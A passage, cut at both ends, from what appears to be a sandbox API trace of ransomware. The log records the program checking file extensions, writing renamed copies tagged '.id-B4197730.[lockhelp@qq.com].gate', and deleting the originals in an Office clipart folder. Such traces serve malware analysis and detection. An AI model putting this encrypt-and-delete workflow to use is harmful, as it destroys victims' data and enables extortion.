lpString2=".WMF") returned -1 [0283.644] lstrlenW (lpString=".docx") returned 5 [0283.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.645] lstrlenW (lpString=".pdf") returned 4 [0283.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.645] lstrlenW (lpString=".xls") returned 4 [0283.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.645] lstrlenW (lpString=".xlsx") returned 5 [0283.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.645] lstrlenW (lpString=".ppt") returned 4 [0283.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.645] lstrlenW (lpString=".zip") returned 4 [0283.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.645] lstrlenW (lpString=".rar") returned 4 [0283.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.645] lstrlenW (lpString=".bz2") returned 4 [0283.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.645] lstrlenW (lpString=".7z") returned 3 [0283.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.645] lstrlenW (lpString=".dbf") returned 4 [0283.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.645] lstrlenW (lpString=".1cd") returned 4 [0283.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.645] lstrlenW (lpString=".jpg") returned 4 [0283.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.645] lstrlenW (lpString=".doc") returned 4 [0283.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.645] lstrlenW (lpString=".docx") returned 5 [0283.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.645] lstrlenW (lpString=".pdf") returned 4 [0283.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.646] lstrlenW (lpString=".xls") returned 4 [0283.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.646] lstrlenW (lpString=".xlsx") returned 5 [0283.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.646] lstrlenW (lpString=".ppt") returned 4 [0283.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.646] lstrlenW (lpString=".zip") returned 4 [0283.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.646] lstrlenW (lpString=".rar") returned 4 [0283.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.646] lstrlenW (lpString=".bz2") returned 4 [0283.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.646] lstrlenW (lpString=".7z") returned 3 [0283.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.646] lstrlenW (lpString=".dbf") returned 4 [0283.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.646] lstrlenW (lpString=".1cd") returned 4 [0283.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.646] lstrlenW (lpString=".jpg") returned 4 [0283.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.646] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.646] lstrlenW (lpString="BD09031_.WMF") returned 12 [0283.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0283.647] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=47786) returned 1 [0283.647] CloseHandle (hObject=0x3d0) returned 1 [0283.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0283.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0283.648] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.648] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0283.648] GetLastError () returned 0x0 [0283.648] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0283.878] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xbab0, lpOverlapped=0x0) returned 1 [0283.880] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0283.880] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0283.880] SetEndOfFile (hFile=0x394) returned 1 [0283.880] CloseHandle (hObject=0x394) returned 1 [0283.882] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.882] SetEndOfFile (hFile=0x3d0) returned 1 [0283.884] CloseHandle (hObject=0x3d0) returned 1 [0283.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0283.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.885] lstrlenW (lpString=".doc") returned 4 [0283.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.886] lstrlenW (lpString=".docx") returned 5 [0283.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.886] lstrlenW (lpString=".pdf") returned 4 [0283.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.886] lstrlenW (lpString=".xls") returned 4 [0283.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.886] lstrlenW (lpString=".xlsx") returned 5 [0283.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.886] lstrlenW (lpString=".ppt") returned 4 [0283.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.886] lstrlenW (lpString=".zip") returned 4 [0283.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.886] lstrlenW (lpString=".rar") returned 4 [0283.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.886] lstrlenW (lpString=".bz2") returned 4 [0283.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.886] lstrlenW (lpString=".7z") returned 3 [0283.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.886] lstrlenW (lpString=".dbf") returned 4 [0283.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.886] lstrlenW (lpString=".1cd") returned 4 [0283.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.886] lstrlenW (lpString=".jpg") returned 4 [0283.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.887] lstrlenW (lpString=".doc") returned 4 [0283.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.887] lstrlenW (lpString=".docx") returned 5 [0283.887] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.887] lstrlenW (lpString=".pdf") returned 4 [0283.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.887] lstrlenW (lpString=".xls") returned 4 [0283.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.887] lstrlenW (lpString=".xlsx") returned 5 [0283.887] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.887] lstrlenW (lpString=".ppt") returned 4 [0283.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.887] lstrlenW (lpString=".zip") returned 4 [0283.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.887] lstrlenW (lpString=".rar") returned 4 [0283.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.887] lstrlenW (lpString=".bz2") returned 4 [0283.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.887] lstrlenW (lpString=".7z") returned 3 [0283.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.887] lstrlenW (lpString=".dbf") returned 4 [0283.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.887] lstrlenW (lpString=".1cd") returned 4 [0283.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0283.888] lstrlenW (lpString=".jpg") returned 4 [0283.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.888] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0283.888] lstrlenW (lpString="BD10890_.GIF") returned 12 [0283.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0283.889] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=13515) returned 1 [0283.889] CloseHandle (hObject=0x3d0) returned 1 [0283.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0283.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0283.889] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.889] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0283.890] GetLastError () returned 0x0 [0283.890] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x34cb, lpOverlapped=0x0) returned 1 [0284.832] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x34d0, lpOverlapped=0x0) returned 1 [0284.833] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.833] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0284.833] SetEndOfFile (hFile=0x394) returned 1 [0284.833] CloseHandle (hObject=0x394) returned 1 [0284.834] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.834] SetEndOfFile (hFile=0x3d0) returned 1 [0284.838] CloseHandle (hObject=0x3d0) returned 1 [0284.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0284.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0284.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.839] lstrlenW (lpString=".doc") returned 4 [0284.839] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0284.839] lstrlenW (lpString=".docx") returned 5 [0284.839] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0284.839] lstrlenW (lpString=".pdf") returned 4 [0284.839] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0284.839] lstrlenW (lpString=".xls") returned 4 [0284.839] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0284.839] lstrlenW (lpString=".xlsx") returned 5 [0284.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0284.839] lstrlenW (lpString=".ppt") returned 4 [0284.839] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0284.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.839] lstrlenW (lpString=".zip") returned 4 [0284.839] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0284.839] lstrlenW (lpString=".rar") returned 4 [0284.839] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0284.839] lstrlenW (lpString=".bz2") returned 4 [0284.839] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0284.839] lstrlenW (lpString=".7z") returned 3 [0284.839] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0284.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.839] lstrlenW (lpString=".dbf") returned 4 [0284.839] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0284.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.839] lstrlenW (lpString=".1cd") returned 4 [0284.840] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0284.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.840] lstrlenW (lpString=".jpg") returned 4 [0284.840] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0284.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.840] lstrlenW (lpString=".doc") returned 4 [0284.840] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0284.840] lstrlenW (lpString=".docx") returned 5 [0284.840] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0284.840] lstrlenW (lpString=".pdf") returned 4 [0284.840] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0284.840] lstrlenW (lpString=".xls") returned 4 [0284.840] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0284.840] lstrlenW (lpString=".xlsx") returned 5 [0284.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0284.840] lstrlenW (lpString=".ppt") returned 4 [0284.840] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0284.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.840] lstrlenW (lpString=".zip") returned 4 [0284.840] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0284.840] lstrlenW (lpString=".rar") returned 4 [0284.840] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0284.840] lstrlenW (lpString=".bz2") returned 4 [0284.840] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0284.840] lstrlenW (lpString=".7z") returned 3 [0284.840] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0284.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.840] lstrlenW (lpString=".dbf") returned 4 [0284.841] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0284.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.841] lstrlenW (lpString=".1cd") returned 4 [0284.841] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0284.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0284.841] lstrlenW (lpString=".jpg") returned 4 [0284.841] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0284.841] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0284.841] lstrlenW (lpString="BD19582_.GIF") returned 12 [0284.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0284.841] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=15733) returned 1 [0284.841] CloseHandle (hObject=0x3d0) returned 1 [0284.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 0x220 [0284.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0284.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0284.842] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.842] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0284.843] GetLastError () returned 0x0 [0284.843] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x3d75, lpOverlapped=0x0) returned 1 [0285.083] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x3d80, lpOverlapped=0x0) returned 1 [0285.083] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.083] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0285.084] SetEndOfFile (hFile=0x394) returned 1 [0285.084] CloseHandle (hObject=0x394) returned 1 [0285.085] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.085] SetEndOfFile (hFile=0x3d0) returned 1 [0285.087] CloseHandle (hObject=0x3d0) returned 1 [0285.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0285.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0285.088] lstrlenW (lpString=".doc") returned 4 [0285.088] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0285.088] lstrlenW (lpString=".docx") returned 5 [0285.088] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0285.088] lstrlenW (lpString=".pdf") returned 4 [0285.088] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0285.088] lstrlenW (lpString=".xls") returned 4 [0285.088] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0285.088] lstrlenW 